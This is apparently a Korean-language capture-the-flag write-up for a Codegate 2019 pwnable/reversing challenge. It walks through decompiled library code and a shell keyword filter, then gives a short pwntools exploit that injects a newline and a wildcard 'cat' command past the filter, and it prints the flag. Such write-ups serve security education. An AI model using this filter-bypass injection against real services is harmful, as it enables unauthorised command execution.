Description
Category: Pwnable/Reversing
Source: Codegate 2019 Quals.
Points: 6.8
Author: Jisoon Park(js00n.park)
Description:
nc 110.10.147.106 15959
Write-up
주어진 zip 압축 파일을 열어보면 20000이라는 실행파일과 20000_so.tar.gz라는 새로운 압축 파일이 있다.
tar.gz 파일을 풀어보면 20000_so 라는 디렉토리에 이름대로 20000개의 라이브러리가 생성된다.
일단 주어진 실행파일을 먼저 실행해보자.
IDA를 이용해서 20000의 main() 함수를 살펴보면, INPUT 뒤에 숫자를 입력받고, 숫자에 해당하는 라이브러리를 열어서 그 안의 test() 함수를 실행시키도록 되어있다.
20000개의 라이브러리의 test() 함수 중에 뭔가 취약점이 있는게 있을 것이다.
일단 몇개라도 라이브러리들을 분석해 봐야 할것 같다. 일단 만만한 lib_1.so를 열어서 test 함수를 살펴보자.
__int64 test()
{
char buf; // [rsp+0h] [rbp-40h]
__int16 v2; // [rsp+30h] [rbp-10h]
unsigned __int64 v3; // [rsp+38h] [rbp-8h]
v3 = __readfsqword(0x28u);
memset(&buf, 0, 0x30uLL);
v2 = 0;
puts("This is lib_1 file.");
puts("How do you find vulnerable file?");
read(0, &buf, 0x32uLL);
system("exit");
return 0LL;
}
decompile 결과는 위와 같다. read()에서 2 byte overflow가 발생하지만, overflow로 덮어써지는 v2 변수는 별달리 써먹을데가 없을 것 같다. (심지어 read 후에 바로 종료한다.)
다른 몇개 라이브러리를 열어봤지만 별다른 차이를 발견할 수 없었다. 이 정도라면 다른 라이브러리도 동일한거 아닌가 하는 생각에 뭔가 다를게 있을까 싶어 라이브러리들의 크기를 한번 살펴보았다.
4가지 종류의 라이브러리밖에 없는 것 같다.(각 크기별로 5000개씩 있었다.) 이 4가지만 살펴보면 될 듯 하다. find의 옵션을 활용하면 특정 크기를 갖는 파일을 찾을 수 있을 것 같지만, 나는 잘 모르겠으니 그냥 ls -l | grep [filesize] | head 를 이용해서 찾아보았다.
6176, 5192, 6200 byte 크기의 라이브러리는 lib_1.so와 동일한 test 함수를 갖고 있었다.
크기가 가장 큰 6224 byte의 라이브러리의 test 함수는 뭔가 달랐다. 일단 그 중의 하나인 lib_10002.so의 test 함수를 살펴보자.
이 test 함수는 입력값을 lib_12719.so의 filter1 함수와 lib_317.so의 filter2 함수를 거친 후 ls "%s" 형태로 실행시켜 주고 있었다. command injection 문제인가 보다.
lib_12719.so의 filter1 함수와 lib_317.so의 filter2 함수는 아래와 같다.
이 필터는 "bin", "sh", "bash" 문자열과 함께 아래의 문자열이 있는지 거른다.
sh 실행이 안되고 ;과 pipe, and, or, redirection 등이 막혀 있어서 ls 외의 다른 명령어 실행이 어렵다.
command injection 관련 문서를 찾아보자.
필터링 하는 문자열 중에 newline이 없으므로 이를 이용하는 exploit을 작성하였다.
from pwn import *
p = remote("110.10.147.106", 15959)
p.recvuntil(": ")
p.sendline(str(10002))
print(p.recvuntil("?"))
p.sendline('." ' + '\n' + 'cat ??a? "')
p.interactive()
실행 결과, 원격 디렉토리의 내용과 함께 flag 값을 확인할 수 있었다.
Flag : flag{Are_y0u_A_h@cker_in_real-word?}